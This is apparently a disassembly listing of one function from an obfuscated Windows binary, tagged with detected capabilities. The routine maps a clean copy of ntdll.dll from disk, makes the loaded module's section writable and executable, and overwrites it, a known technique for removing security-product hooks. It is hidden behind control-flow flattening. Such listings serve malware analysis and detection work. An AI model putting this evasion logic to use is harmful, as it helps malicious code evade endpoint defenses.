Function at 0x40e720
Capabilities:
Allocate or change rwx memory
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x90
mov eax, dword [0x44f080]
xor eax, ebp
mov dword [ebp - 0x10], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [ebp - 0x50], eax
lea eax, [ebp - 0x1c]
xor ecx, ecx
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0xc
call fcn.0041e3f0
lea eax, str.ntdll.dll
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
sub esp, 4
mov dword [ebp - 0x54], eax
mov ecx, dword [ebp - 0x54]
mov edx, dword [ebp - 0x50]
lea eax, [ebp - 0x1c]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0xc
call sub.KERNEL32.dll_K32GetModuleInformation
sub esp, 0x10
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x7c], 0x6658c823
mov eax, dword [ebp - 0x7c]
mov dword [ebp - 0x80], eax
sub eax, 0x80770f18
je 0x40ec79
jmp 0x40e7b8
mov eax, dword [ebp - 0x80]
sub eax, 0x81e7658e
je 0x40eebb
jmp 0x40e7cb
mov eax, dword [ebp - 0x80]
sub eax, 0x8bcbb30d
je 0x40ee15
jmp 0x40e7de
mov eax, dword [ebp - 0x80]
sub eax, 0x8e64aed9
je 0x40ee29
jmp 0x40e7f1
mov eax, dword [ebp - 0x80]
sub eax, 0x98f340df
je 0x40ee09
jmp 0x40e804
mov eax, dword [ebp - 0x80]
sub eax, 0x9fcc8c48
je 0x40ec4c
jmp 0x40e817
mov eax, dword [ebp - 0x80]
sub eax, 0xad63eb4a
je 0x40efe5
jmp 0x40e82a
mov eax, dword [ebp - 0x80]
sub eax, 0xb1df52a6
je 0x40ec2d
jmp 0x40e83d
mov eax, dword [ebp - 0x80]
sub eax, 0xbb3b4b78
je 0x40ef5b
jmp 0x40e850
mov eax, dword [ebp - 0x80]
sub eax, 0xbfe148e7
je 0x40efd3
jmp 0x40e863
mov eax, dword [ebp - 0x80]
sub eax, 0xc0d4e4ca
je 0x40ec8c
jmp 0x40e876
mov eax, dword [ebp - 0x80]
sub eax, 0xc933aa4a
je 0x40eafa
jmp 0x40e889
mov eax, dword [ebp - 0x80]
sub eax, 0xd19041dd
je 0x40ef0d
jmp 0x40e89c
mov eax, dword [ebp - 0x80]
sub eax, 0xe3807242
je 0x40ed75
jmp 0x40e8af
mov eax, dword [ebp - 0x80]
sub eax, 0xed31b040
je 0x40ed0f
jmp 0x40e8c2
mov eax, dword [ebp - 0x80]
sub eax, 0xf21eb543
je 0x40f036
jmp 0x40e8d5
mov eax, dword [ebp - 0x80]
sub eax, 0xf63956b2
je 0x40f02a
jmp 0x40e8e8
mov eax, dword [ebp - 0x80]
sub eax, 0xfd25d158
je 0x40f042
jmp 0x40e8fb
mov eax, dword [ebp - 0x80]
sub eax, 0x13e4c11b
je 0x40eb12
jmp 0x40e90e
mov eax, dword [ebp - 0x80]
sub eax, 0x18e532d0
je 0x40ee50
jmp 0x40e921
mov eax, dword [ebp - 0x80]
sub eax, 0x1a1f564b
je 0x40ec01
jmp 0x40e934
mov eax, dword [ebp - 0x80]
sub eax, 0x23d02f20
je 0x40ebe6
jmp 0x40e947
mov eax, dword [ebp - 0x80]
sub eax, 0x350b1932
je 0x40edbb
jmp 0x40e95a
mov eax, dword [ebp - 0x80]
sub eax, 0x3af9bb3f
je 0x40f018
jmp 0x40e96d
mov eax, dword [ebp - 0x80]
sub eax, 0x41672ec4
je 0x40efc7
jmp 0x40e980
mov eax, dword [ebp - 0x80]
sub eax, 0x4e84f06d
je 0x40eabb
jmp 0x40e993
mov eax, dword [ebp - 0x80]
sub eax, 0x6658c823
je 0x40e9e4
jmp 0x40e9a6
mov eax, dword [ebp - 0x80]
sub eax, 0x66705cde
je 0x40eae7
jmp 0x40e9b9
mov eax, dword [ebp - 0x80]
sub eax, 0x73c6cc0b
je 0x40eb85
jmp 0x40e9cc
mov eax, dword [ebp - 0x80]
sub eax, 0x7d035528
je 0x40ef01
jmp 0x40e9df
jmp 0x40f067
mov eax, dword [ebp - 0x4c]
mov eax, dword [eax]
mov dword [ebp - 0x58], eax
lea eax, str.c:windows_system32_ntdll.dll
xor ecx, ecx
mov dword [esp], eax
mov dword [esp + 4], 0x80000000
mov dword [esp + 8], 1
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 3
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
sub esp, 0x1c
mov dword [ebp - 0x5c], eax
mov eax, dword [ebp - 0x5c]
xor ecx, ecx
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x1000002
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
sub esp, 0x18
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x60]
xor ecx, ecx
mov dword [esp], eax
mov dword [esp + 4], 4
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
sub esp, 0x14
mov dword [ebp - 0x64], eax
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0x68], eax
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x7c], 0x4e84f06d
jmp 0x40f067
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x68]
mov edx, dword [ecx + 0x3c]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, edx
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x6c], eax
mov word [ebp - 0x6e], 0
mov dword [ebp - 0x7c], 0x66705cde
jmp 0x40f067
movzx eax, word [ebp - 0x6e]
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x7c], 0xc933aa4a
jmp 0x40f067
mov eax, dword [ebp - 0x6c]
add eax, 4
add eax, 2
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x7c], 0x13e4c11b
jmp 0x40f067
mov ecx, dword [0x45055c]
mov eax, dword [0x450558]
mov edx, ecx
sub edx, 0x58169a5b
sub edx, 1
add edx, 0x58169a5b
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x3af9bb3f
mov ecx, 0x73c6cc0b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x7c], eax
jmp 0x40f067
mov eax, dword [ebp - 0x40]
movzx ecx, word [eax]
mov eax, dword [ebp - 0x44]
cmp eax, ecx
setl al
and al, 1
mov byte [ebp - 0x39], al
mov eax, dword [0x45055c]
mov ecx, dword [0x450558]
mov edx, eax
add edx, 0xbc4de347
sub edx, 1
sub edx, 0xbc4de347
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3af9bb3f
mov ecx, 0x23d02f20
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x7c], eax
jmp 0x40f067
mov dl, byte [ebp - 0x39]
mov eax, 0xd19041dd
mov ecx, 0x1a1f564b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x7c], eax
jmp 0x40f067
mov eax, dword [ebp - 0x6c]
xor ecx, ecx
sub ecx, 0x18
sub eax, ecx
mov ecx, dword [ebp - 0x6c]
movzx ecx, word [ecx + 0x14]
sub eax, 0x6f54a266
add eax, ecx
add eax, 0x6f54a266
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x7c], 0xb1df52a6
jmp 0x40f067
mov eax, dword [ebp - 0x38]
movzx ecx, word [ebp - 0x6e]
imul edx, ecx, 0x28
xor ecx, ecx
sub ecx, edx
sub eax, ecx
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x7c], 0x9fcc8c48
jmp 0x40f067
mov ecx, dword [ebp - 0x74]
mov eax, esp
mov dword [eax], ecx
mov dword [eax + 4], 0x42cd35
call fcn.00421cf0
mov edx, eax
mov eax, 0x80770f18
mov ecx, 0xe3807242
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x7c], eax
jmp 0x40f067
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x7c], 0xc0d4e4ca
jmp 0x40f067
mov eax, dword [ebp - 0x74]
mov ecx, dword [eax + 8]
mov edx, dword [ebp - 0x58]
mov eax, dword [ebp - 0x74]
mov eax, dword [eax + 0xc]
add edx, 0x6ed0a6cf
add edx, eax
sub edx, 0x6ed0a6cf
lea eax, [ebp - 0x20]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x75], al
mov eax, dword [ebp - 0x58]
mov ecx, dword [ebp - 0x74]
mov ecx, dword [ecx + 0xc]
sub eax, 0x60bf7e1d
add eax, ecx
add eax, 0x60bf7e1d
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x64]
mov ecx, dword [ebp - 0x74]
mov edx, dword [ecx + 0xc]
xor ecx, ecx
sub ecx, edx
sub eax, ecx
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x74]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x7c], 0xed31b040
jmp 0x40f067
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 8]
mov edx, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x30]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.0041e550
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x74]
mov edx, dword [eax + 8]
mov esi, dword [ebp - 0x58]
mov eax, dword [ebp - 0x74]
mov edi, dword [eax + 0xc]
xor eax, eax
sub eax, edi
sub esi, eax
lea eax, [ebp - 0x20]
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x75], al
mov dword [ebp - 0x7c], 0xe3807242
jmp 0x40f067
mov eax, dword [0x45055c]
mov ecx, dword [0x450558]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf63956b2
mov ecx, 0x350b1932
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x7c], eax
jmp 0x40f067
mov eax, dword [0x45055c]
mov ecx, dword [0x450558]
mov edx, eax
add edx, 0x38047b2e
sub edx, 1
sub edx, 0x38047b2e
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf63956b2
mov ecx, 0x98f340df
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x7c], eax
jmp 0x40f067
mov dword [ebp - 0x7c], 0x8bcbb30d
jmp 0x40f067
mov ax, word [ebp - 0x6e]
mov word [ebp - 0x26], ax
mov dword [ebp - 0x7c], 0x8e64aed9
jmp 0x40f067
mov ax, word [ebp - 0x26]
xor ecx, ecx
sub cx, ax
xor eax, eax
sub ax, 1
add cx, ax
xor eax, eax
sub ax, cx
mov word [ebp - 0x6e], ax
mov dword [ebp - 0x7c], 0x18e532d0
jmp 0x40f067
mov ecx, dword [0x45055c]
mov eax, dword [0x450558]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xf21eb543
mov ecx, 0x81e7658e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x7c], eax
jmp 0x40f067
mov eax, dword [0x45055c]
mov ecx, dword [0x450558]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf21eb543
mov ecx, 0x7d035528
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x7c], eax
jmp 0x40f067
mov dword [ebp - 0x7c], 0x66705cde
jmp 0x40f067
mov eax, dword [0x45055c]
mov ecx, dword [0x450558]
mov edx, eax
add edx, 0x6b8d71d
sub edx, 1
sub edx, 0x6b8d71d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xfd25d158
mov ecx, 0xbb3b4b78
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x7c], eax
jmp 0x40f067
mov eax, dword [ebp - 0x50]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
mov eax, dword [ebp - 0x5c]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
mov eax, dword [0x45055c]
mov ecx, dword [0x450558]
mov edx, eax
add edx, 0xbaa8190c
sub edx, 1
sub edx, 0xbaa8190c
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xfd25d158
mov ecx, 0x41672ec4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x7c], eax
jmp 0x40f067
mov dword [ebp - 0x7c], 0xbfe148e7
jmp 0x40f067
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x7c], 0xad63eb4a
jmp 0x40f067
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
mov eax, dword [ebp - 0x54]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
sub esp, 4
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0041d6e0
add esp, 0x90
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x7c], 0x73c6cc0b
jmp 0x40f067
mov dword [ebp - 0x7c], 0x350b1932
jmp 0x40f067
mov dword [ebp - 0x7c], 0x81e7658e
jmp 0x40f067
mov eax, dword [ebp - 0x50]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
mov eax, dword [ebp - 0x5c]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
mov dword [ebp - 0x7c], 0xbb3b4b78
jmp 0x40e7a2